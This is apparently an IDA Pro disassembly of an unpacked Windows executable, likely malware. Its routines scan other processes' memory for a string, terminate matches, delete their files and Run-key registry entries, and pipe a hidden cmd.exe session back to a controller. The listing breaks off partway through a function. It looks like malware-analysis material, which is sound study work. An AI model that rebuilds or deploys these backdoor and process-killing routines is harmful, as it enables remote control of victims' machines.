; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 5B31FA30A0E765DF69BF2CE5A5A7951D ; File Name : u:\work\5b31fa30a0e765df69bf2ce5a5a7951d_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00016000 ( 90112.) ; Section size in file : 00016000 ( 90112.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401146+31p ; sub_401146+43p ... var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = byte ptr -260h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 268h and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40101A ; --------------------------------------------------------------------------- loc_401013: ; CODE XREF: sub_401000+13Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40101A: ; CODE XREF: sub_401000+11j mov eax, [ebp+var_4] cmp off_418000[eax*4], 0 jz loc_401141 mov eax, [ebp+var_4] push off_418000[eax*4] lea eax, [ebp+var_260] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_260] push eax call sub_4105FB pop ecx lea eax, [ebp+var_110] push eax push 3 push 0 lea eax, [ebp+var_260] push eax push [ebp+arg_0] call ds:dword_417008 ; RegOpenKeyExA and [ebp+var_220], 0 jmp short loc_401081 ; --------------------------------------------------------------------------- loc_401074: ; CODE XREF: sub_401000:loc_40112Bj mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_401081: ; CODE XREF: sub_401000+72j mov [ebp+var_21C], 104h mov [ebp+var_224], 104h lea eax, [ebp+var_224] push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_114] push eax push 0 lea eax, [ebp+var_21C] push eax lea eax, [ebp+var_218] push eax push [ebp+var_220] push [ebp+var_110] call ds:dword_417000 ; RegEnumValueA mov [ebp+var_264], eax cmp [ebp+var_264], 0 jz short loc_4010DD jmp short loc_401130 ; --------------------------------------------------------------------------- loc_4010DD: ; CODE XREF: sub_401000+D9j cmp [ebp+var_114], 1 jnz short loc_40112B push [ebp+arg_4] push [ebp+var_224] lea eax, [ebp+var_10C] push eax call sub_407ACA add esp, 0Ch mov [ebp+var_268], eax cmp [ebp+var_268], 0 jz short loc_40112B lea eax, [ebp+var_218] push eax push [ebp+var_110] call ds:dword_417004 ; RegDeleteValueA test eax, eax jnz short loc_40112B mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40112B: ; CODE XREF: sub_401000+E4j ; sub_401000+10Bj ... jmp loc_401074 ; --------------------------------------------------------------------------- loc_401130: ; CODE XREF: sub_401000+DBj push [ebp+var_110] call ds:dword_417028 ; RegCloseKey jmp loc_401013 ; --------------------------------------------------------------------------- loc_401141: ; CODE XREF: sub_401000+25j mov eax, [ebp+var_8] leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401146 proc near ; CODE XREF: sub_401244+459p ; sub_40A9CF+A72p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push 80h push [ebp+arg_0] call ds:dword_4170A8 ; SetFileAttributesA test eax, eax jnz short loc_401166 jmp locret_401242 ; --------------------------------------------------------------------------- loc_401166: ; CODE XREF: sub_401146+19j push [ebp+arg_0] call ds:dword_4170AC ; DeleteFileA push [ebp+arg_0] push 80000001h call sub_401000 pop ecx pop ecx mov [ebp+var_4], eax push [ebp+arg_0] push 80000002h call sub_401000 pop ecx pop ecx mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz locret_401242 push 104h push [ebp+arg_0] lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_108] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_10C], eax jmp short loc_4011DB ; --------------------------------------------------------------------------- loc_4011CE: ; CODE XREF: sub_401146:loc_40121Aj mov eax, [ebp+var_10C] dec eax mov [ebp+var_10C], eax loc_4011DB: ; CODE XREF: sub_401146+86j cmp [ebp+var_10C], 0 jz short loc_40121C mov eax, [ebp+arg_0] add eax, [ebp+var_10C] movsx eax, byte ptr [eax-1] cmp eax, 5Ch jnz short loc_40121A push 104h mov eax, [ebp+var_10C] lea eax, [ebp+eax+var_108] push eax lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch jmp short loc_40121C ; --------------------------------------------------------------------------- loc_40121A: ; CODE XREF: sub_401146+AEj jmp short loc_4011CE ; --------------------------------------------------------------------------- loc_40121C: ; CODE XREF: sub_401146+9Cj ; sub_401146+D2j lea eax, [ebp+var_108] push eax push 80000001h call sub_401000 pop ecx pop ecx lea eax, [ebp+var_108] push eax push 80000002h call sub_401000 pop ecx pop ecx locret_401242: ; CODE XREF: sub_401146+1Bj ; sub_401146+56j leave retn sub_401146 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401244 proc near ; DATA XREF: sub_4017AA+9Do var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_3E0 = dword ptr -3E0h var_3DC = dword ptr -3DCh var_3D8 = dword ptr -3D8h var_3D4 = dword ptr -3D4h var_3D0 = dword ptr -3D0h var_3CC = byte ptr -3CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = dword ptr -2ACh var_2A8 = byte ptr -2A8h var_2A7 = dword ptr -2A7h var_2A3 = byte ptr -2A3h var_1A3 = byte ptr -1A3h var_B = byte ptr -0Bh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3E8h push esi push edi push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2AC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_40129D lea eax, [ebp+var_2A3] push eax mov eax, [ebp+var_2AC] push dword ptr [eax] push offset dword_418144 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_40129D: ; CODE XREF: sub_401244+34j call sub_406041 mov [ebp+var_2B4], eax cmp [ebp+var_2B4], 0 jnz short loc_4012C4 push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp loc_4017A4 ; --------------------------------------------------------------------------- loc_4012C4: ; CODE XREF: sub_401244+6Bj push 10000h call sub_416B46 ; malloc pop ecx mov [ebp+var_2B8], eax and [ebp+var_2BC], 0 and [ebp+var_2B0], 0 jmp short loc_4012F2 ; --------------------------------------------------------------------------- loc_4012E5: ; CODE XREF: sub_401244+E2j ; sub_401244+12Bj ... mov eax, [ebp+var_2B0] inc eax mov [ebp+var_2B0], eax loc_4012F2: ; CODE XREF: sub_401244+9Fj mov eax, [ebp+var_2B4] mov ecx, [ebp+var_2B0] cmp ecx, [eax] jge loc_401710 mov esi, [ebp+var_2B0] imul esi, 114h mov eax, [ebp+var_2B4] mov edi, [eax+4] call ds:dword_4170E8 ; GetCurrentProcessId cmp [edi+esi], eax jnz short loc_401328 jmp short loc_4012E5 ; --------------------------------------------------------------------------- loc_401328: ; CODE XREF: sub_401244+E0j push 104h lea eax, [ebp+var_3CC] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_3CC] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_401374 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401374: ; CODE XREF: sub_401244+129j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 movzx eax, [ebp+var_2A8] neg eax sbb eax, eax add eax, 11h push eax call ds:dword_417094 ; OpenProcess mov [ebp+var_2C4], eax cmp [ebp+var_2C4], 0 jnz short loc_4013B7 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_4013B7: ; CODE XREF: sub_401244+16Cj and [ebp+var_2C0], 0 and [ebp+var_2C8], 0 loc_4013C5: ; CODE XREF: sub_401244:loc_4016FAj mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] cmp eax, 10000h jbe short loc_4013F7 mov [ebp+var_3E8], 10000h jmp short loc_40141C ; --------------------------------------------------------------------------- loc_4013F7: ; CODE XREF: sub_401244+1A5j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] mov [ebp+var_3E8], eax loc_40141C: ; CODE XREF: sub_401244+1B1j mov eax, [ebp+var_3E8] mov [ebp+var_3D0], eax lea eax, [ebp+var_2C8] push eax push [ebp+var_3D0] push [ebp+var_2B8] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+4] add eax, [ebp+var_2C0] push eax push [ebp+var_2C4] call ds:dword_417098 ; ReadProcessMemory mov [ebp+var_3D4], eax cmp [ebp+var_3D4], 0 jz loc_4016C5 cmp [ebp+var_2C8], 0 jz loc_4016C5 and [ebp+var_3D8], 0 and [ebp+var_3DC], 0 loc_401495: ; DATA XREF: .data:0041AD00o jmp short loc_4014A4 ; --------------------------------------------------------------------------- loc_401497: ; CODE XREF: sub_401244:loc_4015DBj mov eax, [ebp+var_3DC] inc eax mov [ebp+var_3DC], eax loc_4014A4: ; CODE XREF: sub_401244:loc_401495j mov eax, [ebp+var_2C8] sub eax, [ebp+var_2A7] cmp [ebp+var_3DC], eax ja loc_4015E0 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] add ecx, 20h cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] sub ecx, 20h cmp eax, ecx jnz loc_4015DB loc_401514: ; CODE XREF: sub_401244+290j ; sub_401244+2ADj mov [ebp+var_3E0], 1 jmp short loc_40152D ; --------------------------------------------------------------------------- loc_401520: ; CODE XREF: sub_401244:loc_4015D6j mov eax, [ebp+var_3E0] inc eax mov [ebp+var_3E0], eax loc_40152D: ; CODE XREF: sub_401244+2DAj mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] test eax, eax jnz short loc_401556 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] mov [ebp+var_3D8], eax jmp loc_40179F ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: sub_401244+2F9j mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] add ecx, 20h cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] sub ecx, 20h cmp eax, ecx jz short loc_4015D6 jmp short loc_4015DB ; --------------------------------------------------------------------------- loc_4015D6: ; CODE XREF: sub_401244+338j ; sub_401244+363j ... jmp loc_401520 ; --------------------------------------------------------------------------- loc_4015DB: ; CODE XREF: sub_401244+2CAj ; sub_401244+390j jmp loc_401497 ; --------------------------------------------------------------------------- loc_4015E0: ; CODE XREF: sub_401244+272j ; sub_401244:loc_40179Fj cmp [ebp+var_3D8], 0 jz loc_4016C5 mov eax, [ebp+var_2BC] inc eax mov [ebp+var_2BC], eax movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401675 push 3E8h call ds:dword_41709C ; Sleep mov al, [ebp+var_B] mov [ebp+var_3E4], al and [ebp+var_B], 0 mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_2A3] push eax push offset dword_41811C lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 14h mov al, [ebp+var_3E4] mov [ebp+var_B], al jmp short loc_4016A3 ; --------------------------------------------------------------------------- loc_401675: ; CODE XREF: sub_401244+3BFj push 0 push [ebp+var_2C4] call ds:dword_4170A0 ; TerminateProcess mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_401146 pop ecx loc_4016A3: ; CODE XREF: sub_401244+42Fj mov eax, [ebp+var_2AC] cmp dword ptr [eax+4], 0 jz short loc_4016C0 push [ebp+var_2C4] call ds:dword_4170A4 ; CloseHandle jmp loc_40179A ; --------------------------------------------------------------------------- loc_4016C0: ; CODE XREF: sub_401244+469j jmp loc_401795 ; --------------------------------------------------------------------------- loc_4016C5: ; CODE XREF: sub_401244+230j ; sub_401244+23Dj ... mov eax, [ebp+var_2C0] add eax, [ebp+var_3D0] mov [ebp+var_2C0], eax mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov edx, [ebp+var_2C0] cmp edx, [ecx+eax+8] jnz short loc_4016FA jmp short loc_4016FF ; --------------------------------------------------------------------------- loc_4016FA: ; CODE XREF: sub_401244+4B2j jmp loc_4013C5 ; --------------------------------------------------------------------------- loc_4016FF: ; CODE XREF: sub_401244+4B4j ; sub_401244:loc_401795j push [ebp+var_2C4] call ds:dword_4170A4 ; CloseHandle jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401710: ; CODE XREF: sub_401244+BCj ; sub_401244:loc_40179Aj push [ebp+var_2B4] call sub_40636E pop ecx push [ebp+var_2B8] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401785 push 3E8h call ds:dword_41709C ; Sleep cmp [ebp+var_2BC], 0 jnz short loc_401764 lea eax, [ebp+var_2A3] push eax push offset dword_4180F8 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 0Ch jmp short loc_401785 ; --------------------------------------------------------------------------- loc_401764: ; CODE XREF: sub_401244+501j lea eax, [ebp+var_2A3] push eax push [ebp+var_2BC] push offset dword_4180CC lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_401785: ; CODE XREF: sub_401244+4EDj ; sub_401244+51Ej push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp short loc_4017A4 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: sub_401244:loc_4016C0j jmp loc_4016FF ; --------------------------------------------------------------------------- loc_40179A: ; CODE XREF: sub_401244+477j jmp loc_401710 ; --------------------------------------------------------------------------- loc_40179F: ; CODE XREF: sub_401244+30Dj jmp loc_4015E0 ; --------------------------------------------------------------------------- loc_4017A4: ; CODE XREF: sub_401244+7Bj ; sub_401244+54Fj pop edi pop esi leave retn 4 sub_401244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017AA proc near ; CODE XREF: sub_40A9CF+AA1p ; sub_40A9CF+AD2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_4017C2 push [ebp+arg_4] call sub_416B40 ; strlen pop ecx test eax, eax jnz short loc_4017C7 loc_4017C2: ; CODE XREF: sub_4017AA+9j jmp locret_401854 ; --------------------------------------------------------------------------- loc_4017C7: ; CODE XREF: sub_4017AA+16j push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4017DD jmp short locret_401854 ; --------------------------------------------------------------------------- loc_4017DD: ; CODE XREF: sub_4017AA+2Fj mov eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax+4], cl push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_4] mov [ecx+5], eax push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 9 push eax call sub_416B58 ; strncpy add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 109h push eax call sub_405F67 pop ecx pop ecx movzx eax, [ebp+arg_8] test eax, eax jz short loc_401830 mov [ebp+var_8], offset aListing ; "Listing" jmp short loc_401837 ; --------------------------------------------------------------------------- loc_401830: ; CODE XREF: sub_4017AA+7Bj mov [ebp+var_8], offset aKilling ; "Killing" loc_401837: ; CODE XREF: sub_4017AA+84j push [ebp+arg_4] push [ebp+var_8] push offset dword_418174 push 0 push [ebp+var_4] push offset sub_401244 call sub_4095A4 add esp, 18h locret_401854: ; CODE XREF: sub_4017AA:loc_4017C2j ; sub_4017AA+31j leave retn sub_4017AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401856 proc near ; CODE XREF: sub_401981+A8p ; sub_401981+E1p ... push ebp mov ebp, esp cmp dword_41DE24, 0FFFFFFFFh jz short loc_40186E push dword_41DE24 call ds:dword_4170A4 ; CloseHandle loc_40186E: ; CODE XREF: sub_401856+Aj cmp dword_41DE18, 0FFFFFFFFh jz short loc_401883 push dword_41DE18 call ds:dword_4170A4 ; CloseHandle loc_401883: ; CODE XREF: sub_401856+1Fj cmp dword_41DE1C, 0FFFFFFFFh jz short loc_401898 push dword_41DE1C call ds:dword_4170A4 ; CloseHandle loc_401898: ; CODE XREF: sub_401856+34j cmp dword_41DE20, 0FFFFFFFFh jz short loc_4018AD push dword_41DE20 call ds:dword_4170A4 ; CloseHandle loc_4018AD: ; CODE XREF: sub_401856+49j pop ebp retn sub_401856 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018AF proc near ; CODE XREF: sub_401981+28Ap ; sub_401981+395p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jnz short loc_4018D4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401922 loc_4018D4: ; CODE XREF: sub_4018AF+15j ; sub_4018AF:loc_401920j push 32h call ds:dword_41709C ; Sleep mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jz short loc_4018FE call sub_416B64 ; clock sub eax, dword_41DE2C cmp eax, 1F4h jb short loc_4018FE jmp short loc_401922 ; --------------------------------------------------------------------------- loc_4018FE: ; CODE XREF: sub_4018AF+39j ; sub_4018AF+4Bj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401920 call sub_416B64 ; clock sub eax, dword_41DE2C cmp eax, 0FAh jb short loc_401920 jmp short loc_401922 ; --------------------------------------------------------------------------- loc_401920: ; CODE XREF: sub_4018AF+5Bj ; sub_4018AF+6Dj jmp short loc_4018D4 ; --------------------------------------------------------------------------- loc_401922: ; CODE XREF: sub_4018AF+23j ; sub_4018AF+4Dj ... call sub_416B64 ; clock mov dword_41DE2C, eax mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_401942 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_401957 loc_401942: ; CODE XREF: sub_4018AF+86j push offset dword_4181A4 lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx jmp short loc_40196E ; --------------------------------------------------------------------------- loc_401957: ; CODE XREF: sub_4018AF+91j push 200h push [ebp+arg_4] lea eax, [ebp+var_200] push eax call sub_407A56 add esp, 0Ch loc_40196E: ; CODE XREF: sub_4018AF+A6j lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_40D53F pop ecx pop ecx leave retn sub_4018AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401981 proc near ; DATA XREF: sub_401D6E+88o var_730 = dword ptr -730h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_714 = dword ptr -714h var_510 = byte ptr -510h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_334 = dword ptr -334h var_330 = word ptr -330h var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = byte ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = byte ptr -30Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 730h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_714] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock sub eax, 1F4h mov dword_41DE2C, eax push 0 lea eax, [ebp+var_30C] push eax push 104h push 0 push offset aCmd_exe ; "cmd.exe" push 0 call ds:dword_41706C ; SearchPathA test eax, eax jnz short loc_4019ED push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_4019ED: ; CODE XREF: sub_401981+57j mov [ebp+var_318], 0Ch mov [ebp+var_310], 1 and [ebp+var_314], 0 push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_368] push eax lea eax, [ebp+var_364] push eax call ds:dword_417070 ; CreatePipe test eax, eax jnz short loc_401A41 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A41: ; CODE XREF: sub_401981+A6j push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_728] push eax call ds:dword_417070 ; CreatePipe test eax, eax jnz short loc_401A7A call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A7A: ; CODE XREF: sub_401981+DFj push 3 push 0 push 0 push offset dword_41DE20 call ds:dword_417074 ; GetCurrentProcess push eax push [ebp+var_36C] call ds:dword_417074 ; GetCurrentProcess push eax call ds:dword_4170F0 ; DuplicateHandle test eax, eax jnz short loc_401ABB call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: sub_401981+120j push 10h push 0 lea eax, [ebp+var_724] push eax call sub_416B6A ; memset add esp, 0Ch push 44h push 0 lea eax, [ebp+var_360] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_360], 44h mov [ebp+var_334], 101h and [ebp+var_330], 0 mov eax, [ebp+var_728] mov [ebp+var_328], eax mov eax, [ebp+var_368] mov [ebp+var_324], eax mov eax, [ebp+var_368] mov [ebp+var_320], eax lea eax, [ebp+var_724] push eax lea eax, [ebp+var_360] push eax push 0 push 0 push 0 push 1 push 0 push 0 push offset byte_41DE30 lea eax, [ebp+var_30C] push eax call ds:dword_41707C ; CreateProcessA test eax, eax jnz short loc_401B69 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401B69: ; CODE XREF: sub_401981+1CEj push [ebp+var_728] call ds:dword_4170A4 ; CloseHandle mov eax, [ebp+var_364] mov dword_41DE24, eax mov eax, [ebp+var_36C] mov dword_41DE18, eax mov eax, [ebp+var_724] mov dword_41DE1C, eax push [ebp+var_720] call ds:dword_4170A4 ; CloseHandle and [ebp+var_4], 0 and [ebp+var_208], 0 loc_401BAD: ; CODE XREF: sub_401981+2E9j ; sub_401981+39Cj mov eax, [ebp+var_714] cmp dword ptr [eax+4], 0 jz short loc_401BBE jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401BBE: ; CODE XREF: sub_401981+236j and [ebp+var_208], 0 push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 push 0 lea eax, [ebp+var_4] push eax push 200h lea eax, [ebp+var_204] push eax push dword_41DE24 call ds:dword_417080 ; PeekNamedPipe test eax, eax jnz short loc_401C17 push offset aCouldNotReadDa ; "Could not read data from process." lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C17: ; CODE XREF: sub_401981+27Cj cmp [ebp+var_4], 0 jnz short loc_401C6F mov [ebp+var_730], 103h lea eax, [ebp+var_730] push eax push dword_41DE1C call ds:dword_417084 ; GetExitCodeProcess test eax, eax jz short loc_401C62 cmp [ebp+var_730], 103h jz short loc_401C62 push offset aCmd_exeProcess ; "Cmd.exe process has terminated." lea eax, [ebp+var_510] push eax call sub_40D53F pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C62: ; CODE XREF: sub_401981+2BBj ; sub_401981+2C7j push 0Ah call ds:dword_41709C ; Sleep jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401C6F: ; CODE XREF: sub_401981+29Aj and [ebp+var_72C], 0 jmp short loc_401C85 ; --------------------------------------------------------------------------- loc_401C78: ; CODE XREF: sub_401981:loc_401CAFj mov eax, [ebp+var_72C] inc eax mov [ebp+var_72C], eax loc_401C85: ; CODE XREF: sub_401981+2F5j mov eax, [ebp+var_72C] cmp eax, [ebp+var_4] jnb short loc_401CB1 mov eax, [ebp+var_72C] movsx eax, [ebp+eax+var_204] cmp eax, 0Ah jnz short loc_401CAF mov [ebp+var_208], 1 jmp short loc_401CB1 ; --------------------------------------------------------------------------- loc_401CAF: ; CODE XREF: sub_401981+320j jmp short loc_401C78 ; --------------------------------------------------------------------------- loc_401CB1: ; CODE XREF: sub_401981+30Dj ; sub_401981+32Cj cmp [ebp+var_208], 0 jz short loc_401CC6 mov eax, [ebp+var_72C] inc eax mov [ebp+var_4], eax jmp short loc_401CCD ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401981+337j mov [ebp+var_4], 200h loc_401CCD: ; CODE XREF: sub_401981+343j push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 lea eax, [ebp+var_31C] push eax push [ebp+var_4] lea eax, [ebp+var_204] push eax push dword_41DE24 call ds:dword_417088 ; ReadFile test eax, eax jnz short loc_401D08 jmp short loc_401D22 ; --------------------------------------------------------------------------- loc_401D08: ; CODE XREF: sub_401981+383j lea eax, [ebp+var_204] push eax lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401D22: ; CODE XREF: sub_401981+238j ; sub_401981+291j ... call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax locret_401D35: ; CODE XREF: sub_401981+67j ; sub_401981+BBj ... leave retn 4 sub_401981 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D39 proc near ; CODE XREF: sub_401D6E+AFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push eax push [ebp+var_4] push [ebp+arg_0] push dword_41DE20 call ds:dword_417068 ; WriteFile test eax, eax jnz short loc_401D69 xor eax, eax jmp short locret_401D6C ; --------------------------------------------------------------------------- loc_401D69: ; CODE XREF: sub_401D39+2Aj push 1 pop eax locret_401D6C: ; CODE XREF: sub_401D39+2Ej leave retn sub_401D39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D6E proc near ; CODE XREF: sub_40A9CF+14A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 